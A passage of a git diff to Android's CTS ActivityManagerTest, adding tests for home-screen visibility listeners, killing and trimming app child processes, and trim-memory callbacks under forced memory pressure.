+        intent.setClassName(pkg, activityCls.getName());
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        T activity = (T) mInstrumentation.startActivitySync(intent);
+        mInstrumentation.waitForIdleSync();
+        return activity;
+    }
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 60df0d9..c7fef24 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -15,6 +15,15 @@
  */
 package android.app.cts;
 
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_BACKGROUND;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_COMPLETE;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_CRITICAL;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_LOW;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_MODERATE;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN;
+
+import static org.junit.Assert.assertArrayEquals;
+
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.ActivityManager.RecentTaskInfo;
@@ -22,34 +31,58 @@
 import android.app.ActivityManager.RunningServiceInfo;
 import android.app.ActivityManager.RunningTaskInfo;
 import android.app.ActivityOptions;
+import android.app.HomeVisibilityListener;
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
 import android.app.Instrumentation.ActivityResult;
 import android.app.PendingIntent;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.app.stubs.ActivityManagerRecentOneActivity;
 import android.app.stubs.ActivityManagerRecentTwoActivity;
 import android.app.stubs.CommandReceiver;
 import android.app.stubs.MockApplicationActivity;
 import android.app.stubs.MockService;
 import android.app.stubs.ScreenOnActivity;
+import android.app.stubs.TrimMemService;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.ServiceConnection;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.ConfigurationInfo;
 import android.content.res.Resources;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
 import android.os.SystemClock;
 import android.platform.test.annotations.RestrictedBuildTest;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.server.wm.settings.SettingsSession;
 import android.support.test.uiautomator.UiDevice;
 import android.test.InstrumentationTestCase;
+import android.util.ArrayMap;
+import android.util.ArraySet;
 import android.util.Log;
+import android.util.Pair;
+
+import androidx.test.filters.LargeTest;
 
 import com.android.compatibility.common.util.AmMonitor;
+import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
 import java.util.function.Predicate;
 import java.util.function.Supplier;
 
@@ -79,6 +112,11 @@
     private static final String ACTIVITY_TIME_TRACK_INFO = "com.android.cts.TIME_TRACK_INFO";
 
     private static final String PACKAGE_NAME_APP1 = "com.android.app1";
+    private static final String PACKAGE_NAME_APP2 = "com.android.app2";
+    private static final String PACKAGE_NAME_APP3 = "com.android.app3";
+
+    private static final String CANT_SAVE_STATE_1_PACKAGE_NAME = "com.android.test.cantsavestate1";
+    private static final String ACTION_FINISH = "com.android.test.action.FINISH";
 
     private static final String MCC_TO_UPDATE = "987";
     private static final String MNC_TO_UPDATE = "654";
@@ -436,15 +474,11 @@
         assertNotNull(conInf);
     }
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this test
-     * is commented and will be un-commented in Android S.
-     *
     public void testUpdateMccMncConfiguration() throws Exception {
         // Store the original mcc mnc to set back
         String[] mccMncConfigOriginal = new String[2];
         // Store other configs to check they won't be affected
-        Set<String> otherConfigsOriginal = new HashSet<String>();
+        Set<String> otherConfigsOriginal = new HashSet<>();
         getMccMncConfigsAndOthers(mccMncConfigOriginal, otherConfigsOriginal);
 
         String[] mccMncConfigToUpdate = new String[] {MCC_TO_UPDATE, MNC_TO_UPDATE};
@@ -454,12 +488,12 @@
 
         if (success) {
             String[] mccMncConfigUpdated = new String[2];
-            Set<String> otherConfigsUpdated = new HashSet<String>();
+            Set<String> otherConfigsUpdated = new HashSet<>();
             getMccMncConfigsAndOthers(mccMncConfigUpdated, otherConfigsUpdated);
             // Check the mcc mnc are updated as expected
-            assertTrue(Arrays.equals(mccMncConfigToUpdate, mccMncConfigUpdated));
+            assertArrayEquals(mccMncConfigToUpdate, mccMncConfigUpdated);
             // Check other configs are not changed
-            assertTrue(otherConfigsOriginal.equals(otherConfigsUpdated));
+            assertEquals(otherConfigsOriginal, otherConfigsUpdated);
         }
 
         // Set mcc mnc configs back in the end of the test
@@ -467,13 +501,7 @@
                 (am) -> am.updateMccMncConfiguration(mccMncConfigOriginal[0],
                         mccMncConfigOriginal[1]));
     }
-     */
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this method
-     * for test "testUpdateMccMncConfiguration" is commented and will be un-commented in
-     * Android S.
-     *
     private void getMccMncConfigsAndOthers(String[] mccMncConfigs, Set<String> otherConfigs)
             throws Exception {
         String[] configs = SystemUtil.runShellCommand(
@@ -490,7 +518,6 @@
             }
         }
     }
-    */
 
     /**
      * Simple test for {@link ActivityManager#isUserAMonkey()} - verifies its false.
@@ -553,8 +580,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application finished tracker.
         ActivityReceiverFilter appEndReceiver = new ActivityReceiverFilter(ACTIVITY_EXIT_ACTION);
@@ -595,6 +622,35 @@
         assertTrue(timeReceiver.mTimeUsed != 0);
     }
 
+    public void testHomeVisibilityListener() throws Exception {
+        LinkedBlockingQueue<Boolean> currentHomeScreenVisibility = new LinkedBlockingQueue<>(2);
+        HomeVisibilityListener homeVisibilityListener = new HomeVisibilityListener() {
+            @Override
+            public void onHomeVisibilityChanged(boolean isHomeActivityVisible) {
+                currentHomeScreenVisibility.offer(isHomeActivityVisible);
+            }
+        };
+        launchHome();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mActivityManager,
+                (am) -> am.addHomeVisibilityListener(Runnable::run, homeVisibilityListener));
+
+        try {
+            // Make sure we got the first notification that the home screen is visible.
+            assertTrue(currentHomeScreenVisibility.poll(WAIT_TIME, TimeUnit.MILLISECONDS));
+            // Launch a basic activity to obscure the home screen.
+            Intent intent = new Intent(Intent.ACTION_MAIN);
+            intent.setClassName(SIMPLE_PACKAGE_NAME, SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mTargetContext.startActivity(intent);
+
+            // Make sure the observer reports the home screen as no longer visible
+            assertFalse(currentHomeScreenVisibility.poll(WAIT_TIME, TimeUnit.MILLISECONDS));
+        } finally {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mActivityManager,
+                    (am) -> am.removeHomeVisibilityListener(homeVisibilityListener));
+        }
+    }
+
     /**
      * Verify that the TimeTrackingAPI works properly when switching away from the monitored task.
      */
@@ -610,8 +666,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                    PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application started tracker.
         ActivityReceiverFilter appStartedReceiver = new ActivityReceiverFilter(
@@ -658,8 +714,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                    PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application finished tracker.
         ActivityReceiverFilter appEndReceiver = new ActivityReceiverFilter(
@@ -798,9 +854,9 @@
     public void testKillingPidsOnImperceptible() throws Exception {
         // Start remote service process
         final String remoteProcessName = STUB_PACKAGE_NAME + ":remote";
-        Intent intent = new Intent("android.app.REMOTESERVICE");
-        intent.setPackage(STUB_PACKAGE_NAME);
-        mTargetContext.startService(intent);
+        Intent remoteIntent = new Intent("android.app.REMOTESERVICE");
+        remoteIntent.setPackage(STUB_PACKAGE_NAME);
+        mTargetContext.startService(remoteIntent);
         Thread.sleep(WAITFOR_MSEC);
 
         RunningAppProcessInfo remote = getRunningAppProcessInfo(remoteProcessName);
@@ -813,7 +869,7 @@
             if (disabled) {
                 executeAndLogShellCommand("cmd deviceidle enable light");
             }
-            intent = new Intent(Intent.ACTION_MAIN);
+            final Intent intent = new Intent(Intent.ACTION_MAIN);
             intent.setClassName(SIMPLE_PACKAGE_NAME, SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY);
             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             mTargetContext.startActivity(intent);
@@ -884,6 +940,7 @@
             triggerIdle(false);
             toggleScreenOn(true);
             appStartedReceiver.close();
+            mTargetContext.stopService(remoteIntent);
 
             if (disabled) {
                 executeAndLogShellCommand("cmd deviceidle disable light");
@@ -894,6 +951,611 @@
         }
     }
 
+    /**
+     * Verifies the system will kill app's child processes if they are using excessive cpu
+     */
+    @LargeTest
+    public void testKillingAppChildProcess() throws Exception {
+        final long powerCheckInterval = 5 * 1000;
+        final long processGoneTimeout = powerCheckInterval * 4;
+        final int waitForSec = 5 * 1000;
+        final String activityManagerConstants = "activity_manager_constants";
+
+        final SettingsSession<String> amSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(activityManagerConstants),
+                Settings.Global::getString, Settings.Global::putString);
+
+        final ApplicationInfo ai = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP1, 0);
+        final WatchUidRunner watcher = new WatchUidRunner(mInstrumentation, ai.uid, waitForSec);
+
+        try {
+            // Shorten the power check intervals
+            amSettings.set("power_check_interval=" + powerCheckInterval);
+
+            // Make sure we could start activity from background
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP1);
+
+            // Start an activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn a light weight child process
+            CountDownLatch startLatch = startChildProcessInPackage(PACKAGE_NAME_APP1,
+                    new String[] {"/system/bin/sh", "-c",  "sleep 1000"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Stop the activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher.waitFor(WatchUidRunner.CMD_CACHED, null);
+
+            // Wait for the system to kill that light weight child (it won't happen actually)
+            CountDownLatch stopLatch = initWaitingForChildProcessGone(
+                    PACKAGE_NAME_APP1, processGoneTimeout);
+
+            assertFalse("App's light weight child process shouldn't be gone",
+                    stopLatch.await(processGoneTimeout, TimeUnit.MILLISECONDS));
+
+            // Now kill the light weight child
+            stopLatch = stopChildProcess(PACKAGE_NAME_APP1, waitForSec);
+
+            assertTrue("Failed to kill app's light weight child process",
+                    stopLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Start an activity again
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn the cpu intensive child process
+            startLatch = startChildProcessInPackage(PACKAGE_NAME_APP1,
+                    new String[] {"/system/bin/sh", "-c",  "while true; do :; done"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Stop the activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher.waitFor(WatchUidRunner.CMD_CACHED, null);
+
+            // Wait for the system to kill that heavy child due to excessive cpu usage,
+            // as well as the parent process.
+            watcher.waitFor(WatchUidRunner.CMD_GONE, processGoneTimeout);
+
+        } finally {
+            amSettings.close();
+
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                // force stop test package, where the whole test process group will be killed.
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+            });
+
+            watcher.finish();
+        }
+    }
+
+
+    /**
+     * Verifies the system will trim app's child processes if there are too many
+     */
+    @LargeTest
+    public void testTrimAppChildProcess() throws Exception {
+        final long powerCheckInterval = 5 * 1000;
+        final long processGoneTimeout = powerCheckInterval * 4;
+        final int waitForSec = 5 * 1000;
+        final int maxPhantomProcessesNum = 2;
+        final String namespaceActivityManager = "activity_manager";
+        final String activityManagerConstants = "activity_manager_constants";
+        final String maxPhantomProcesses = "max_phantom_processes";
+
+        final SettingsSession<String> amSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(activityManagerConstants),
+                Settings.Global::getString, Settings.Global::putString);
+        final Bundle currentMax = new Bundle();
+        final String keyCurrent = "current";
+
+        ApplicationInfo ai = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP1, 0);
+        final WatchUidRunner watcher1 = new WatchUidRunner(mInstrumentation, ai.uid, waitForSec);
+        ai = mTargetContext.getPackageManager().getApplicationInfo(PACKAGE_NAME_APP2, 0);
+        final WatchUidRunner watcher2 = new WatchUidRunner(mInstrumentation, ai.uid, waitForSec);
+        ai = mTargetContext.getPackageManager().getApplicationInfo(PACKAGE_NAME_APP3, 0);
+        final WatchUidRunner watcher3 = new WatchUidRunner(mInstrumentation, ai.uid, waitForSec);
+
+        try {
+            // Shorten the power check intervals
+            amSettings.set("power_check_interval=" + powerCheckInterval);
+
+            // Reduce the maximum phantom processes allowance
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                int current = DeviceConfig.getInt(namespaceActivityManager,
+                        maxPhantomProcesses, -1);
+                currentMax.putInt(keyCurrent, current);
+                DeviceConfig.setProperty(namespaceActivityManager,
+                        maxPhantomProcesses,
+                        Integer.toString(maxPhantomProcessesNum), false);
+            });
+
+            // Make sure we could start activity from background
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP1);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP2);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP3);
+
+            // Start an activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn a light weight child process
+            CountDownLatch startLatch = startChildProcessInPackage(PACKAGE_NAME_APP1,
+                    new String[] {"/system/bin/sh", "-c",  "sleep 1000"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Start an activity in another package
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP2, 0, null);
+
+            watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn a light weight child process
+            startLatch = startChildProcessInPackage(PACKAGE_NAME_APP2,
+                    new String[] {"/system/bin/sh", "-c",  "sleep 1000"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Finish the 1st activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher1.waitFor(WatchUidRunner.CMD_CACHED, null);
+
+            // Wait for the system to kill that light weight child (it won't happen actually)
+            CountDownLatch stopLatch = initWaitingForChildProcessGone(
+                    PACKAGE_NAME_APP1, processGoneTimeout);
+
+            assertFalse("App's light weight child process shouldn't be gone",
+                    stopLatch.await(processGoneTimeout, TimeUnit.MILLISECONDS));
+
+            // Sleep a while
+            SystemClock.sleep(powerCheckInterval);
+
+            // Now start an activity in the 3rd party
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP3, 0, null);
+
+            watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn a light weight child process
+            startLatch = startChildProcessInPackage(PACKAGE_NAME_APP3,
+                    new String[] {"/system/bin/sh", "-c",  "sleep 1000"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Now the 1st child process should have been gone.
+            stopLatch = initWaitingForChildProcessGone(
+                    PACKAGE_NAME_APP1, processGoneTimeout);
+
+            assertTrue("1st App's child process should have been gone",
+                    stopLatch.await(processGoneTimeout, TimeUnit.MILLISECONDS));
+
+        } finally {
+            amSettings.close();
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                final int current = currentMax.getInt(keyCurrent);
+                if (current < 0) {
+                    // Hm, DeviceConfig doesn't have an API to delete a property,
+                    // let's set it empty so the code will use the built-in default value.
+                    DeviceConfig.setProperty(namespaceActivityManager,
+                            maxPhantomProcesses, "", false);
+                } else {
+                    DeviceConfig.setProperty(namespaceActivityManager,
+                            maxPhantomProcesses, Integer.toString(current), false);
+                }
+            });
+
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP2);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP3);
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                // force stop test package, where the whole test process group will be killed.
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP2);
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP3);
+            });
+
+            watcher1.finish();
+            watcher2.finish();
+            watcher3.finish();
+        }
+    }
+
+    private CountDownLatch startChildProcessInPackage(String pkgName, String[] cmdline) {
+        final CountDownLatch startLatch = new CountDownLatch(1);
+
+        final IBinder binder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                    throws RemoteException {
+                switch (code) {
+                    case CommandReceiver.RESULT_CHILD_PROCESS_STARTED:
+                        startLatch.countDown();
+                        return true;
+                    default:
+                        return false;
+                }
+            }
+        };
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK, binder);
+        extras.putStringArray(CommandReceiver.EXTRA_CHILD_CMDLINE, cmdline);
+
+        CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_CHILD_PROCESS,
+                pkgName, pkgName, 0, extras);
+
+        return startLatch;
+    }
+
+    final CountDownLatch stopChildProcess(String pkgName, long timeout) {
+        final CountDownLatch stopLatch = new CountDownLatch(1);
+
+        final IBinder binder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                    throws RemoteException {
+                switch (code) {
+                    case CommandReceiver.RESULT_CHILD_PROCESS_STOPPED:
+                        stopLatch.countDown();
+                        return true;
+                    default:
+                        return false;
+                }
+            }
+        };
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK, binder);
+        extras.putLong(CommandReceiver.EXTRA_TIMEOUT, timeout);
+
+        CommandReceiver.sendCommand(mTargetContext,
+                CommandReceiver.COMMAND_STOP_CHILD_PROCESS, pkgName, pkgName, 0, extras);
+
+        return stopLatch;
+    }
+
+    final CountDownLatch initWaitingForChildProcessGone(String pkgName, long timeout) {
+        final CountDownLatch stopLatch = new CountDownLatch(1);
+
+        final IBinder binder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                    throws RemoteException {
+                switch (code) {
+                    case CommandReceiver.RESULT_CHILD_PROCESS_GONE:
+                        stopLatch.countDown();
+                        return true;
+                    default:
+                        return false;
+                }
+            }
+        };
+        final Bundle extras = new Bundle();
+        extras.putBinder(CommandReceiver.EXTRA_CALLBACK, binder);
+        extras.putLong(CommandReceiver.EXTRA_TIMEOUT, timeout);
+
+        CommandReceiver.sendCommand(mTargetContext,
+                CommandReceiver.COMMAND_WAIT_FOR_CHILD_PROCESS_GONE, pkgName, pkgName, 0, extras);
+
+        return stopLatch;
+    }
+
+    public void testTrimMemActivityFg() throws Exception {
+        final int waitForSec = 5 * 1000;
+        final ApplicationInfo ai1 = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP1, 0);
+        final WatchUidRunner watcher1 = new WatchUidRunner(mInstrumentation, ai1.uid, waitForSec);
+
+        final ApplicationInfo ai2 = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP2, 0);
+        final WatchUidRunner watcher2 = new WatchUidRunner(mInstrumentation, ai2.uid, waitForSec);
+
+        final ApplicationInfo ai3 = mTargetContext.getPackageManager()
+                .getApplicationInfo(CANT_SAVE_STATE_1_PACKAGE_NAME, 0);
+        final WatchUidRunner watcher3 = new WatchUidRunner(mInstrumentation, ai3.uid, waitForSec);
+
+        final CountDownLatch[] latchHolder = new CountDownLatch[1];
+        final int[] levelHolder = new int[1];
+        final Bundle extras = initWaitingForTrimLevel(latchHolder, levelHolder);
+        try {
+            // Make sure we could start activity from background
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP1);
+
+            latchHolder[0] = new CountDownLatch(1);
+
+            // Start an activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+
+            watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Force the memory pressure to moderate
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_RUNNING_MODERATE, levelHolder[0]);
+
+            latchHolder[0] = new CountDownLatch(1);
+            // Force the memory pressure to low
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set LOW");
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_RUNNING_LOW, levelHolder[0]);
+
+            latchHolder[0] = new CountDownLatch(1);
+            // Force the memory pressure to critical
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set CRITICAL");
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_RUNNING_CRITICAL, levelHolder[0]);
+
+            // Reset the memory pressure override
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset");
+
+            latchHolder[0] = new CountDownLatch(1);
+            // Start another activity in package2
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+            assertTrue("Failed to wait for the trim memory event",
+                    latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_UI_HIDDEN, levelHolder[0]);
+
+            // Start the heavy weight activity
+            final Intent intent = new Intent();
+            final CountDownLatch[] heavyLatchHolder = new CountDownLatch[1];
+            final int[] heavyLevelHolder = new int[1];
+
+            intent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            intent.setAction(Intent.ACTION_MAIN);
+            intent.addCategory(Intent.CATEGORY_LAUNCHER);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.putExtras(initWaitingForTrimLevel(heavyLatchHolder, heavyLevelHolder));
+
+            mTargetContext.startActivity(intent);
+            watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            heavyLatchHolder[0] = new CountDownLatch(1);
+            // Force the memory pressure to moderate
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
+            assertTrue("Failed to wait for the trim memory event",
+                    heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_RUNNING_MODERATE, heavyLevelHolder[0]);
+
+            // Now go home
+            final Intent homeIntent = new Intent();
+            homeIntent.setAction(Intent.ACTION_MAIN);
+            homeIntent.addCategory(Intent.CATEGORY_HOME);
+            homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            heavyLatchHolder[0] = new CountDownLatch(1);
+            mTargetContext.startActivity(homeIntent);
+            assertTrue("Failed to wait for the trim memory event",
+                    heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
+            assertEquals(TRIM_MEMORY_BACKGROUND, heavyLevelHolder[0]);
+
+            // All done, clean up.
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            final Intent finishIntent = new Intent();
+            finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            finishIntent.setAction(ACTION_FINISH);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+            mTargetContext.startActivity(finishIntent);
+
+            watcher1.waitFor(WatchUidRunner.CMD_CACHED, null);
+            watcher2.waitFor(WatchUidRunner.CMD_CACHED, null);
+            watcher3.waitFor(WatchUidRunner.CMD_CACHED, null);
+        } finally {
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
+
+            SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset");
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP2);
+                mActivityManager.forceStopPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            });
+
+            watcher1.finish();
+            watcher2.finish();
+            watcher3.finish();
+        }
+    }
+
+    public void testTrimMemActivityBg() throws Exception {
+        final int minLru = 8;
+        final int waitForSec = 30 * 1000;
+        final String prefix = "trimmem_";
+        final CountDownLatch[] latchHolder = new CountDownLatch[1];
+        final String pkgName = PACKAGE_NAME_APP1;
+        final ArrayMap<String, Pair<int[], ServiceConnection>> procName2Level = new ArrayMap<>();
+        int startSeq = 0;
+
+        try {
+            // Kill all background processes
+            SystemUtil.runShellCommand(mInstrumentation, "am kill-all");
+
+            List<String> lru;
+            // Start a new isolated service once a time, and then check the lru list
+            do {
+                final String instanceName = prefix + startSeq++;
+                final int[] levelHolder = new int[1];
+
+                // Spawn the new isolated service
+                final ServiceConnection conn = TrimMemService.bindToTrimMemService(
+                        pkgName, instanceName, latchHolder, levelHolder, mTargetContext);
+
+                // Get the list of all cached apps
+                lru = getCachedAppsLru();
+                assertTrue(lru.size() > 0);
+
+                for (int i = lru.size() - 1; i >= 0; i--) {
+                    String p = lru.get(i);
+                    if (p.indexOf(instanceName) != -1) {
